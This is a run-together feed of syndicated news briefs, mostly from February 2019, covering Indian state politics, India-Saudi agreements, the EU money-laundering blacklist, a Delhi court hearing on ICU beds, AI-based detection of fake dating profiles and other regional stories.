"We will continue to drive our efforts to change the paradigm of cancer treatment by focusing on immuno-oncology and provide better treatment options in the UAE and the region as a whole," he added.



AstraZeneca, he stated, is prioritizing lung cancer research to address the significant unmet need for treatments at every stage of the disease continuum. "Our focus is primarily on non-small cell lung cancer (NSCLC), which accounts for 80 to 85 percent of all lung cancer cases globally," he added.-TradeArabia News ServiceThe government Wednesday approved the signing of Memorandum of Understanding between India and Saudi Arabia on establishing a mechanism for investment in infrastructure.

The MoU will be a step forward in engaging with the institutions of Saudi Arabia to attract a potential investment into the infrastructure sector, an official statement said.

It will lead to boosting infrastructure development in the country, creation of more jobs, growth of ancillary industries/sectors which will lead to growth in GDP and over all economic prosperity.

In another decision, the Cabinet cleared the signing of Memorandum of Understanding between India and Saudi Arabia on cooperation and mutual assistance in Customs matters.

The agreement will help in making available, reliable, quick and cost effective information and intelligence for the prevention and investigation of customs offences and apprehending of customs offenders.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The European Commission on Wednesday proposed adding seven countries including Saudi Arabia to the EU's money-laundering blacklist of governments that do too little to thwart the financing of terrorism and organised crime.

The move comes as tensions between Riyadh and European capitals are heightened over the murder last year of the columnist Jamal Khashoggi at the Saudi consulate in Istanbul.

The proposal must now be approved by the European Parliament and the 28 member states, with France and Britain against the new list.

The new countries targeted by the commission, including Saudi Arabia and Panama, would join another 16 already on this register -- such as Iran, Iraq, Pakistan, Ethiopia and North Korea.

Inclusion on the list does not trigger sanctions, but it does oblige European banks to apply tighter controls on transactions with customers and institutions in those countries.

"We have put in place the highest standards in the world in the fight against money laundering," said European Commissioner for Justice Vera Jourova.

"But we must ensure that dirty money from other countries does not end up in our financial system," she told a press conference at the European Parliament plenary session in Strasbourg.

"Dirty money is the driving force behind organised crime and terrorism," Jourova continued, urging countries on the list to "quickly remedy their shortcomings".

A diplomat said objections to the new list were not linked to fallout from the Khashoggi murder and a desire to appease Saudi Arabia.

There is not "an opposition to the addition of a particular country", but concerns over the "methodology" used.

MEP Eva Joly, a former investigating judge, welcomed the new list but suggested the commission "publish the country assessments in order to increase the transparency of the process and avoid accusations of political bargaining."



European countries such as Cyprus or the United Kingdom should also be on the list, she said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Four people were killed Wednesday in a Boko Haram attack in northeast Nigeria on a convoy of vehicles carrying the governor of Borno state, security sources said.

A civilian militia member said the attack happened near the town of Dikwa as Borno Governor Kashim Shettima was on the campaign trail ahead of nationwide elections on Saturday. "Two soldiers were killed and two other civilians," he told AFP.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Delhi Police has identified through DNA test the body of a 22-year-old man who was killed in 2011, officials said Wednesday.

The deceased was identified as Ashutosh, a native of Deoria district in Uttar Pradesh, they added.

According to police, Ashutosh's father had filed a case at the Pul Prahladpur police station on March 18, 2011, stating that his son Ashutosh, who was working in Delhi, had been missing since March 4.

The victim was last seen with his employer, Pramod Kumar, they said.

However, no one ever saw Ashutosh again and after investigation, Kumar was arrested for kidnapping him, police officials said, adding that Kumar remained in jail for around 8 months, following which he was granted on bail.

On April 4, 2012, the case was shifted to Crime Branch.

Meanwhile, an unidentified body of man was found at Muradnagar area of Ghaziabad. A case of murder was subsequently registered at Muradnagar police station, Additional Commissioner of Police (Crime) Rajiv Ranjan said.

A postmortem of the body had revealed that the person had died due to asphyxia as a result of ante-mortem throttling, he said.

In October 2018, the body exhibits were deposited at the Forensic Science Laboratory, Rohini, for a DNA test. One Monday, the test proved that the remains belonged to Ashutosh, the officer added.

It has been alleged that Kumar suspected Ashutosh of having illicit relations with his wife, he added.

Muradnagar Police had registered a case of murder, Ranjan said, adding the investigation into Kumar's exact role and whether he enlisted help from others in committing the crime is being conducted.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The body of a man from Pakistan-occupied Kashmir, who died while trying to sneak into India six months ago, was exhumed and handed over to the Pakistan Army at the LoC in Poonch district on Wednesday, officials said.

The body of 34-year-old Mohamamad Arshad, a resident of Kotli Gujajran area of PoK, was exhumed from a graveyard at Mohra Kampala in Noushera sector of Rajouri district on the orders of DM Mohamamd Aijaz Asad, the officials said.

They said Ahmad was found dead near the LoC at Sair-Jhanger in Laam sector on July 23 last year and was subsequently buried at the graveyard after his identity could not be established.

He died reportedly due to electrocution when trying to sneak through wires into the Indian side.

District magistrate Asad ordered that the body be exhumed after the Indian Army, on humanitarian gesture, forwarded a request by their Pakistani counterparts for handing over the body to his family across the LoC, the officials said.

They said the body was exhumed in presence of senior police and civil officers from the graveyard on Tuesday and handed over to the Army to be sent to his family, the officials said.

On Wednesday, at 4.15 pm, the body of the deceased was handed over to the Pakistan Army at Chakan-da-Bagh cross-LoC point in Poonch district, they said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A BJP MLA from Maharashtra's Yavatmal district was left red-faced after his wife and a woman he is allegedly living with fought at a function to mark his birthday.

The incident took place at Pandharkawda in MLA Raju Todsam's Assembly constituency, Arni, Tuesday night.

The legislator himself was roughed up by some people during the incident, a police official said.

Todsam's wife is a primary school teacher and they have two children. The MLA is currently living with another woman, a BJP worker, but has not divorced his wife, sources close to him said.

His supporters had organised a Kabaddi tournament at Pandharkawda Tuesday to celebrate his birthday, where the two women came face to face.

After the tournament was inaugurated and Todsam cut a cake, his wife and the other woman got into a spat which turned into a scuffle, sources said.

Todsam himself was roughed up by some people when he tried to pacify the two women, prompting the policemen who were present there to use baton-charge to rescue him, sources added.

Todsam's woman friend sustained minor injuries and was admitted to a hospital, they added.

However, a police official said no FIR or a complaint had been registered by either woman so far.

Todsam or other local BJP functionaries could not be reached for comments.

Incidentally, Prime Minister Narendra Modi is scheduled to address a gathering of women self-help groups at Pandharkawda on February 16.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The British Broadcasting Corporation has asked the White House for a review of security arrangements after a BBC cameraman was assaulted at a Donald Trump rally.

BBC cameraman Ron Skeans was attacked by a Trump supporter yelling anti-media slogans during the US president's rally in El Paso, Texas, late Monday.

Skeans was unhurt and the man, who was wearing a "Make America Great Again" hat, was restrained by a blogger for the pro-Trump outlet Frontline America and removed from the media riser.

Paul Danahar, the BBC's Americas bureau editor, said in a tweet Tuesday that he had asked White House Press Secretary Sarah Sanders for a "full review of security arrangements after last night's attack."



"Access into the media area was unsupervised," Danahar said.

"No one in law enforcement intervened before, during or after the attack."



Danahar dismissed a statement from the "Trump for President" campaign, which expressed appreciation for "the swift action from venue security and law enforcement officers.""There was no swift action to prevent or interrupt the attack by any security agency," he said.

The White House Correspondents' Association condemned the attack.

"We are relieved that, this time, no one was seriously hurt," said WHCA president Olivier Knox.

"The president of the United States should make absolutely clear to his supporters that violence against reporters is unacceptable." BBC Washington correspondent Gary O'Donoghue, who was covering the El Paso event, said his cameraman was pushed and shoved by the unidentified assailant "after the president repeatedly goaded the crowd over supposed media bias."



He said the man attempted to smash the BBC camera.

"Happily, Ron is fine," O'Donoghue said.

Trump paused his remarks following the commotion in the crowd and -- pointing at the media -- asked "You alright? Everything OK?" He resumed his attacks on the press later in the speech, referring to the "totally dishonest media."



Trump frequently denounces the media as the "enemy of the people" and condemns critical reports about his administration as "fake "



New York Times publisher AG Sulzberger urged Trump during an interview last month to tone down what he called his "potentially dangerous" rhetoric towards the press.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Secretary of State Mike Pompeo has said the United States would do everything in its power to stop Russia's Nord Stream 2 gas pipeline to Europe as he joined Poland in warning of risks.

Pompeo Tuesday signalled no compromise in US opposition to the pipeline on the same day that Germany, the lead negotiator on the project, was seeking to lower the temperature on the row through a visit by a US energy official to Berlin.

Pompeo said that the pipeline from Russia, on which construction began last year, "funnels money" to Russia in a way that ultimately hurts Europe.

"So while there is certainly a commercial aspect to that kind of transaction, there is an enormous security risk that is attached to it," he told a joint conference with Polish Foreign Minister Jacek Czaputowicz.

"I think President Trump has been very clear that America is going to do what it can within its power to see that European security is foremost when it comes to energy decisions," he said, when asked if the United States would consider sanctions.

The pipeline will double the capacity of an existing link between Russia and Germany and has divided the European Union, with France supporting the project but the Baltic states and Poland wary due to their history with Moscow.

"We share the view that the Nord Stream 2 project does not serve Europe's energy security, we consider it a failed project, even harmful to energy security on the continent," Czaputowicz said.

Pompeo is visiting Warsaw for a two-day conference on the Middle East, which Poland agreed to organise with the United States. While saluting relations with Warsaw, Pompeo prodded gently on democracy under the ruling Law and Justice party.

The government has introduced a string of controversial judicial reforms that the European Union has warned threaten the rule of law.

"In many different eras, the Polish people have fought for independence and liberty. Today I urge Poland to stay the course -- the course of freedom and democracy -- that was hard won during both the 1980s and 1990s," Pompeo said.

Pompeo is on a tour of Central and Eastern Europe during which he hopes to counter inroads made by Russian President Vladimir Putin, who has used energy as a key pressure point.

Ukraine is especially concerned as Nord Stream II and the planned Turkstream connection would eliminate Russian energy's need to cross its territory -- potentially exposing the war-torn country to further military incursions by Moscow.

Pompeo's trip came as the US deputy energy secretary, Dan Brouillette, was in Germany for a conference on liquid natural gas -- an area of common ground between the allies in reducing dependence on Russian supplies.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Australia and India have concluded a market



a market access agreement to allow the entry of Australian walnuts in the huge Indian market.

According to Australian Agriculture Minister David Littleproud, the two countries signed a market access agreement on February 6 with trade set to formally commence once the import conditions are officially gazetted by the Indian authorities.

He said in the interim, 10 trial shipments of Australian walnuts will be sent to India before the trade doors officially open.

"Many Australians don't realise a scientific market access agreement is often the hardest part of getting access to a new market, Littleproud. Getting scientists from two countries to agree on how to stop any threat of diseases or pests being exported from one country to another can be very difficult," he said.

"We have managed to win agreement with our Indian friends and this means our walnut growers can export their clean, green product to India,'' he said last week.

"We spoke to industry through the Hort Innovation Australia prioritisation process and industry nominated walnut market access as a key priority," he added.

"Since then our agriculture counsellor in India has worked with the Department of Agriculture, the Department of Foreign Affairs and Trade and the walnut industry to get this access."



Agricultural counsellors win trade outcomes and that is why we boosted the number of counsellors we have in key markets in the 2017-18 budget,'' the minister noted.

The federal minister highlighted that around 1.4 billion people live in India which is over 50 times the number of people in Australia describing it as ''a huge market'' to access.

India is already a large export market for Australian almonds and there is huge potential for our other nuts to be exported there also," he said.

'"We exported over 22.5 million dollars worth of walnuts around the world in 2017-18,'' he said.

The export value for Australia's agricultural commodities to India has risen by 329 per cent since 2013, and were worth 2.6 billion dollars in 2017. Australia gained market access for blueberries from late 2015, which are now available in stores in India.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Australia will reopen the controversial Christmas Island detention centre for asylum seekers, Prime Minister Scott Morrison said Wednesday, ramping up border protection measures after an embarrassing defeat in Parliament which passed a legislation that would give refugees easier access to mainland hospitals.

Morrison said he would reopen the detention centre, which was closed last year, to cope with what he predicted would be an influx of transfers from Manus Island and Nauru.

"I am not at liberty to go into the detail of what they are, for obvious reasons. This Parliament has already tipped its hand enough to the people smugglers," he said.

"We have approved putting in place the reopening of the Christmas Island detention facilities, both to deal with the prospect of arrivals as well as dealing with the prospect of transfers," Morrison said.

The prime minister's announcement came after the opposition Labor party and independents voted on Tuesday to amend hardline immigration laws to give doctors the right to transfer some 1,000 men and woman from two Pacific detention centres if they need medical treatment.

The new legislation, approved by the Senate on Wednesday, dealt a blow to the ruling conservative coalition which is trailing heavily in polls ahead of an election due in May.

Morrisson said he expected the new medical evacuation laws could restart the people smuggling trade and Australia needed to be ramp up its national security efforts.

"My job now is to do everything within my power, and the power of the government, to ensure that what the Parliament has done to weaken our borders does not result in boats coming to Australia," he said.

His announcement was made after he convened an urgent meeting of the National Security Committee of the Cabinet.

The prime minister said he had commissioned "a range of strengthenings" to Operation Sovereign Borders as recommended by security and intelligence agencies.

The federal government became the first one to lose a vote on its own legislation in almost 80 years on Tuesday.

The Labor secured the support of most of the crossbench to win the Lower House vote 75 to 74 on the first sitting day for 2019.

According to media reports, security agencies also briefed the opposition leader Bill Shorten on the controversial bill's ramifications.

The prime minister said the Labor had "no idea of the consequences they are playing with" and "will unleash a world of woe again" if it supports the bill.

The prime minister contended Shorten would be responsible if new boats arrived because "he led this process to weaken and compromise our borders".

Labor is accusing the government of a hysterical response.

"What we have done is got the balance right. We want strong borders. We don't want the vile people smuggler trade in business, exploiting people's misery," Shorten said.

"But we also want to make sure for people who have been in our care, detained, for over five and a half years in most cases, but they are subject to humane treatment. It is not Australian to have people in our care and not treat them properly and fairly," he said.

The new laws only apply to refugees and asylum seekers already on Manus Island and Nauru and Labor says this means there will be no trigger for more people to get on boats.

The Christmas Island is an Australian territory in the Indian Ocean, lying south of Java in Indonesia.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The seventh edition of the World Government Summit (WGS 2019), which concluded in Dubai on February 12, featured a special session examining the risk of mental health issues becoming the next major global health epidemic.



Hosted by Becky Anderson of CNN, an eminent panel came together under the theme Mitigating the Risk of the Next Global Epidemic to initiate a lively debate on an increasingly important issue.



Arianna Huffington, founder of Thrive Global, said: Based on personal experience, I realised that mental health problems were a global epidemic. There are multiple points of intervention through which effective treatment can benefit families as well as individuals. Stress and burnout need to be addressed, for instance, by empowering young women to overcome comparison pressures. Mindfulness is a skill that can be learned and used to help us cope with the pressures in our lives."



We can all take micro-steps to deal with stress and transform our daily lives. One useful technique for all of us is to declare an end to our working days. We should also take one minute in the morning to remember what we should be grateful for and set a target for the day. With the UAE leading the way in having a Minister of Happiness, we need to develop the soft skills of emotion and empathy, she said.



Dr Mehmet Oz, New York-based host of the Dr Oz Show, said: A major recent global study has addressed the question How old is your body? The findings suggested that stress can reduce the life expectancy of a typical person by up to six years. It is a fact that life expectancy in the US is actually dropping."



Unemployment can lead to inactivity and addictions. In addition, loneliness is a condition that also needs to be addressed. Severe displacement effects can be seen in refugees. Also, divorce is a factor in causing stress and depression, and people generally feel the quality of modern life has deteriorated. Nevertheless, I am confident that humans have adapted and thrived and will continue to do so, he said.



Professor David Clark, professor and chair of Experimental Psychology at the University of Oxford in the UK, said: Social media and different work patterns contribute to stress. Better psychological treatment can make people more productive. For example, the UK is introducing psychological treatment programmes targeted at the workforce: seven in 10 people who have undergone these treatments show improvements, and five out of 10 recover completely, with the result that they become happier and more productive."



Societies need to measure the outcomes of psychological therapy. Regarding the prospects of mental health issues becoming a global epidemic, the solutions are available. They just need to be implemented.



The three-day World Government Summit 2019 welcomed more than 4,000 participants from 140 countries, including heads of state and governments, as well as top-tier representatives of 30 international organisations. - TradeArabia News ServiceThe stand-off between the government and the opposition continued on Tuesday over an SITprobe into an audio clip involving BJP chief B S Yeddyurappa in a purported conversation to lure a JD(S) MLA in his alleged attempt to topple the Congress-JDS government.

The BJP stuck to its strong opposition to the SIT and the ruling coalition refused to budge from its position that only a Special Investigation Team (SIT) probe should be held.

A meeting of floor leaders called by Karnataka Legislative Assembly Speaker Ramesh Kumar to resolve the issue failed to break the impasse.

When the House met for the day after the Speaker's meeting with floor leaders, BJP criticised the government for being "stubborn", with Opposition BJP leader B S Yeddyurappa saying his party was opposed to an SIT probe.

"We are open to a house committee or privilege committee or an inquiry by a judge, but the government is stubborn," he said.

Another BJP leader Madhu Swamy said his party was open to an inquiry limited to allegation against the Speaker, but the government was 'adamant' on an SIT probe with a political motive.

Kumaraswamy on Monday had announced a comprehensive SIT probe into the audio clip.

As the audio row rocked the assembly, Kumaraswamy had accepted an "advice" by the Speaker to constitute SIT to probe the episode to "establish the truth" as his name has also been dragged with the charge that he had been "booked" for Rs 50 crore.

Questioning the government's intention, Yeddyurappa declared that his party would sit on a dharna in protest against the SIT.

The political war over charges of horse-trading had escalated in Karnataka on Friday with Kumaraswamy releasing the audio clip.

Speaking on behalf of the government and despite the presence of Chief Minister and Ministers in the House, Congress Legislature Party leader Siddaramaiah said that the government stand was clear in favour of an SIT probe.

"Whoever it is, however big they ar...everyone knows who is behind it. They should be brought to justice and strict action should be taken against them," he added.

Following this, BJP members entered the well of the House, shouting slogans against the government.

Amidst the BJP's protest and chaotic scenes in the House, the Speaker said he was allowing introduction of passage of certain bills as they were essential.

Assembly secretariat officials said eight bills were introduced and passed on Wednesday.

As the House met post lunch, BJP members continued the protest from the well of the House.

Also raising the issue of attack on BJP MLA Pritam Gowda's residence in Hassan, allegedly by JD(S) supporters, they shouted slogans "down down goonda government".

Soon after the House was adjourned, Yeddyurappa rushed to Hassan along with 15 legislators to meet party workers there and the parents of Pritam Gowda.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)As the audio clip over BJP's alleged toppling game raised the political temperature in the state, party MLA Preetam Gowda's house was attacked allegedly by JDS workers at Hassan Wednesday, police said.

The JD(S) Wednesday released the complete 80-minute audiorecording containing purported conversation between, BJP statechief B S Yeddyurappa, JD(S) MLA Naganagouda, BJP MLAs Shivanagouda Nayak and Preetam Gowda about their alleged bid to destabilise the eight-month old coalition government.

Accusing Gowda, who represents Hassan, of conspiring to topple theCongress-JD(S) government, the workers allegedly attacked his house by pelting it with stones.

A BJP worker sustained serious head injuries. He was later admitted to the hospital where his condition was stated to be stable, police said.

Angry over the attack on his house, Gowda held the JD(S) leadership responsible.

"The JD(S) rowdies attacked my house with an intention to kill me. Those people were taking the name of the chief minister," Gowda told reporters.

Raising the issue in the assembly, senior BJP member R Ashok said Gowda's residence in Hassan has been attacked with stone and his parents were manhandled.

Yeddyurappa alleged that Kumaraswamy had instigated the attack.

Members from the treasury benches hit back saying that BJP was indulging in and defending horse-trading.

Attack on Gowda's residence followed alleged comments made by the legislator against JD(S) patriarch H D Deve Gowda and the Chief Minister in the audio clip.

Preetam Gowda alleged attackers said that H D Revanna (PWD Minister) and Kumaraswamy had given them the mandate to ensure that "I'm not alive and they have gone to the extent of saying my entire family will be destroyed."



He also said, he had not spoken in the alleged audio.

"I'm going to submit a memorandum to Home Secretary, DGP, and Speaker on the incident," he said adding that it was responsibility of the government to protect him.

Meanwhile, Kumaraswamy, in a statement, asked party workers not to protest against the Hassan MLA.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Shiv Sena on Wednesday said its leader Sanjay Raut's visit to Andhra Pradesh Chief Minister N Chandrababu Naidu during his fast in Delhi was merely a courtesy call, and criticised the BJP over handling of its allies.

The Uddhav Thackeray-led party also said what was the guarantee that the BJP will not reach out to its former ally, the Naidu-led TDP, in case it falls short of numbers to form government after the Lok Sabha elections.

Senior Sena leader and Rajya Sabha member Sanjay Raut had on Monday made a surprise appearance at Naidu's day-long protest over demand for special status for his state, saying he came to attend the event as a representative of his party, which shares strained relations with senior ally BJP.

Justifying Raut's meeting with Naidu, the Sena, in an editorial in party mouthpiece 'Saamana', said the leader visited Andhra Pradesh chief minister as a "courtesy" because his state has been split into two.

"We are also against splitting of states. But our visit has been seen as if sky has fallen upon the government," it said.

"What is the guarantee that if required, senior BJP leaders will not knock at the doors of Naidu for his support to form government after the Lok Sabha polls?" it asked.

Naidu was a "great leader" till the time he was with the NDA and now he is suddenly "untouchable", it quipped.

Recalling BJP's alliance with PDP in Jammu and Kashmir, it said the Mehbooba Mufti-led party's Rajya Sabha member Fayaz Ahmad Mir has demanded return of mortal remains of Parliament attack convict Afzal Guru and Maqbool Bhat, founder of the separatist J&K Liberation Front (JKLF).

Both were buried at the Tihar jail in Delhi. Bhat was hanged in Tihar on February 11, 1984 following his conviction in the killing of an intelligence official while Guru was hanged on February 9, 2013.

"This demand is preposterous. But it is the same PDP with which the BJP had shared power in Jammu and Kashmir. During that time, the state saw maximum bloodshed, several attacks took place and some were even rewarded despite having terror links," the Sena claimed.

Nobody had any issue then, but the Sena paying a courtesy visit to the TDP is severely criticised, the Marathi daily said without naming anyone.

"We understand the difference between the PDP and the TDP better," it said.

The Sena, which is an ally of the BJP at the Centre and in Maharashtra, claimed the activities of Mehbooba Mufti's party are "pro-Pakistan" and demanded that it be considered as "anti-national".

"Though the Sena has taken a radical stance on Hindutva, we do not consider those as enemies who have a different view than ours. But, AIMIM spewing out venom is an anti-national activity," it opined.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Arunachal Pradesh Governor Brig (Retd) B D Mishra on Wednesday sought help from the Centre to boost tourism in the state, an official statement said.

The governor, during his meeting with Union Minister of State for Tourism K J Alphons at New Delhi, stressed that the state's tourism sector, with an adequate aid from the Centre, can create jobs and generate more revenue, it said.

Mishra also sought the central government's assistance to develop places which have tourism potential.

He assured Alphons of optimum utilisation of funds allotted by the Union government to build tourism infrastructure in the state, the statement added.

Mishra had recently chaired a meeting of state tourism officials to discuss the status of development projects at Parshuram Kund in Lohit district.

The state government is taking initiatives to develop Parshuram Kund as a major pilgrimage site.

Dedicated to sage Parshuram, the site attracts pilgrims from across the nation and Nepal every year, especially during Makar Sankranti.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Scientists have developed new artificial intelligence (AI) based computing algorithms for dating apps and websites that 'think' like humans to pinpoint fake profiles designed to con victims out of thousands of pounds.

The researchers led by the University of Warwick in the UK developed the algorithms as part of wide-ranging research into combating online fraud.

The new algorithms have been designed specifically to understand what fake dating profiles look like and then to apply this knowledge when they scan profiles submitted to online dating services.

They automatically look out for suspicious signs inadvertently included by fraudsters in the demographic information, the images and the self-descriptions that make up profiles, and reach an overall conclusion as to the probability of each individual profile being fake.

When tested, the algorithms produced a very low false-positive rate -- the number of genuine profiles mistakenly flagged up as fake -- of around one per cent.

"Online dating fraud is a very common, often unreported crime that causes huge distress and embarrassment for victims as well as financial loss," said Professor Tom Sorell of the University of Warwick.

"Using AI techniques to help reveal suspicious activity could be a game-changer that makes detection and prevention quicker, easier and more effective, ensuring that people can use dating sites with much more confidence in future," Sorell said.

The aim is now to further enhance the technique and enable it to start being taken up by dating services within the next couple of years, helping them to prevent profiles being posted by scammers.

"The that these AI capabilities have the potential to help thwart so-called 'rom-con' scams will be very welcome to the millions of people who use online dating services in the UK and worldwide," researchers said.

In these scams, fraudsters target users of dating websites and apps, 'groom' them and then ask for gifts of money or loans which will never be returned.

In 2017, over 3,000 Britons lost a total of 41 million pounds in such incidents, with an average loss of 11,500 pounds, researchers said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Armed miscreants Wednesday looted Rs 1.67 lakh from a private finance company in Bihar's East Champaran district, police said.

Chakia Deputy Superintendent of Police (DySP), Shailendra Kumar said the miscreants looted Rs 1.67 lakh kept in the drawer of the cash counter of the private finance company at gun point.

Two miscreants have been identified as per the CCTV footage installed at the finance companys branch at Sahebganj, he said adding that miscreants would be arrested soon.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Amy Schumer will be returning to Netflix on March 19 with a new comedy special titled "Amy Schumer Growing".

The special is her second for the streaming service, after 2017's "The Leather Special".

In "Amy Schumer Growing", she gives a refreshingly honest and hilarious take on marriage, pregnancy and personal growth, reported Deadline.

Filmed in front of a packed house in Chicago, the comedienne talks about the joys of womanhood and settling into marital bliss.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Aligarh Muslim University Teachers' Association (AMUTA) Wednesday passed a resolution condemning the booking of 14 student leaders under sedition charges.

AMU teachers urged President Ram Nath Kovind, who is also the university's visitor, to take suo motu cognisance of this action of the state government.

Fourteen AMU students, including their union chief, were booked under sedition charges after protests on the campus following reports of a planned visit by AIMIM lawmaker Asaduddin Owaisi, officials said Wednesday.

On Tuesday, some AMU students allegedly had an altercation with a TV channel crew which had come to film the visit that ultimately did not take place, they said.

Members of the Bharatiya Janata Yuva Morcha held a separate demonstration against the visit, demanding that the MP should be banned from the campus.

The students were booked under sedition charges after a complaint was filed by Bharatiya Janata Yuva Morcha or BJYM activist Mukesh Lodhi, alleging that he was assaulted amid chants of pro-Pakistan slogans by some students, police said.

Protesting against the police action, a "class boycott" call has been given by the students' union.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)BJP chief Amit Shah would visit Telangana this month-end to attend a meeting to be organised as part of the party's preparations for the coming Lok Sabha elections, state BJP president K Laxman said Wednesday.

The party would go it alone in Telangana in the Lok Sabha elections, he told reporters here.

"This month-end, national president Amit Shah is going to come for Nizamabad cluster meeting," Laxman said.

The BJP has divided the 17 Lok Sabha constituencies in the state into four clusters.

BJP MLA and former Karnataka minister Aravind Limbavali would act as the election incharge in Telangana, Laxman said.

The party has prepared a plan of action till March 2 to reach out to people and to gear up the party machinery from booth-level in the state, he said.

The BJP has recently held a workshop of incharges of assembly segments in the state.

Union Minister Ravi Shankar Prasad had attended a meeting with IT professionals and others under the 'Bharat ki Mann ki Baat- Modi ke saath' programme to take suggestions on the agenda for building a new India, Laxman said.

BJP General Secretary Ram Madhav would soon attend a meeting with unorganised sector workers to take suggestions.

The party is also organising other programmes, including hoisting party flags atop houses and to light a 'Deepam' in the homes of beneficiaries of NDA government's schemes, during this month, he said.

Dismissing the efforts of opposition parties at the national level to come together, Laxman alleged that regional parties cannot serve national interests effectively.

"Who is your leader? Can you say who will become Prime Minister (if the opposition alliance wins)," he said.

Hitting out at the ruling TRS in Telangana, he said a full Cabinet has not been formed though two months have passed since the party assumed power for a second term.

"This is Nizam-like rule," he said.

With no minister to take care of administration, files are accumulating in hundreds, he alleged.

Along with Chief Minister K Chandrasekhar Rao, only one minister (Mohd Mehmood Ali) took oath on December 13 last after the assembly polls.

Though the electorate in Telangana had voted for TRS in the Assembly elections, they should vote for BJP and Modi in national interest in the Lok Sabha elections, Laxman added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Delhi High Court on Wednesday said it was "alarming" that not even 10 per cent of the over 10,000 beds in all the AAP government-run hospitals in the national capital were in the intensive care unit sections, adding that there was a need to remedy the shortcoming.

"It is really alarming that of the over 10,000 beds in all the Delhi government hospitals together, there are only 348 ICU beds," a bench of Chief Justice Rajendra Menon and Justice V K Rao observed, after it was shown a list of the number of ICU and ventilator beds in public and private hospitals.

According to the list placed before the bench by advocate Ashok Aggarwal, the 33 Delhi government-run hospitals in the city has 10,059 beds, of which 348 -- 3.4 per cent -- are in the ICUs.

In a sharp contrast, private hospitals like Max Patparganj, VIMHANS, Fortis, Sir Ganga Ram have over 10 per cent of their total beds in ICUs, according to the list.

The Delhi government's additional standing counsel, Satyakam, told the court that he needed to verify the numbers.

The court also asked the Aam Aadmi Party (AAP) government in the national capital about the steps it was taking to increase the number of beds with ventilator support.

The query was posed after the Delhi government lawyer said, "We have a long waiting (period) for ventilators."



During the hearing, the court also suggested to the Delhi government to ask the private hospitals to provide real-time data on the availability of vacant beds and ventilators under the economically weaker section category.

To this, Satyakam said a centralised system would have to be set up to collect data from the public hospitals run by the Delhi government and the municipal corporations as well as the private hospitals and then it needed to be displayed on a common web portal.

The bench, thereafter, said it would pass orders directing setting up of a centralised system to display information regarding availability of beds, ventilators and other medical facilities in all the hospitals run by the Centre, the corporations and the Delhi government in the national capital.

The court was hearing a public interest litigation (PIL) initiated by it in 2017, after it came to know that a newborn had died as the family got no ventilator-fitted bed in four government hospitals in the national capital.

The Delhi government had, on February 11, filed an affidavit, stating that of the 400 ventilator beds in the hospitals under its control, 52 were not functional and that efforts were being made to repair them.

The AAP government had also said the hospitals were asked to repair the ventilators or procure new ones at the earliest.

The court had observed that if information regarding availability of ventilators was readily accessible online, the life of the newborn might have been saved.

The newborn girl had died at the Jag Pravesh Chandra Hospital in northeast Delhi because it had no ventilator support, while the three other government hospitals, where the desperate family had gone, had refused admission, saying no critical care beds were available.

According to a report, the baby, after a normal birth on September 20, 2017, was diagnosed with birth asphyxia that caused less oxygen to go to the brain and necessitated immediate ventilator support.

"In the absence of a ventilator, the hospital asked the family to ventilate the baby with an ambu-bag. The newborn died around 4 am on September 21, 2017," the report had said.

An ambu-bag is a manual, hand-held resuscitation device, which hospital attendants are asked to keep pressing 16-18 times per minute to move air in and out of the lungs of a patient who cannot breathe on his own. Medical experts had termed this practice as "primitive" and "condemnable", the report had said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Al Salam Bank-Seychelles (ASBS), a joint venture between Al Salam Bank-Bahrain (ASBB) and the Seychelles Pension Fund (SPF), has officially launched its full commercial banking services.



The inauguration ceremony held at the banks headquarters in the capital, Victoria, under the patronage of Danny Faure, the President of the Republic of Seychelles, and in the presence of Ambassador Maurice Loustau-Lalanne, Minister of Finance, Trade, Investment & Economic Planning, Hussein Al Meeza, chairman of ASBS, Lekha Nair, vice chairperson of ASBS and CEO of SPF, and Rafik Nayed, CEO of ASBB.



Ambassador Lalanne commended Al Salam Bank for taking the lead in introducing a distinguished banking experience to Seychelles and congratulated both Al Salam Bank-Bahrain and Seychelles Pension Fund for taking the initiative to extend banking services in the country.



Al Meeza emphasized that the launch is in line with the banks strategy to expand in the region and continue in its mission to deliver its customers with a range of competitive, diversified and innovative banking solutions through quality products and services. These include deposits, financing, trade finance and a range of tailored banking solutions.



Al Meeza further expressed his gratitude and appreciation to the President and the Government of Seychelles for their continued support. The bank looks forward to creating a bridge between the Indian Ocean Rim countries and the GCC.



Lekha Nair said: We are pleased to offer customers world class retail and corporate banking solutions. The bank aims to capitalize on its strong foundation, by introducing diversified banking products with the latest technologies targeted towards various customer segments.



ASBS is located in the Capital Victoria at Maison Esplanade, Francis Rachel Street. E-channels, ATM with cash deposit facility, debit cards, credit cards, online banking and other services provide additional banking convenience to its clients.  TradeArabia News ServiceAir services between Pantnagar and Pithoragarh will remain suspended till February 18 as an investigation is underway by the civil aviation regulator DGCA into a Heritage Aviation aircraft, which had to make an emergency landing minutes after taking off from the Pantnagar airport recently.

Air services from the Pantnagar airport to the Naini Saini airport in Pithoragarh will remain suspended till February 18, Pantnagar airport Manager S K Singh said, quoting information received from Heritage Aviation, the company which operates commercial flights on the route.

The DGCA is carrying out an investigation into the Heritage Aviation aircraft that developed a technical snag enroute to Pithoragarh and had to make an emergency landing minutes after taking off.

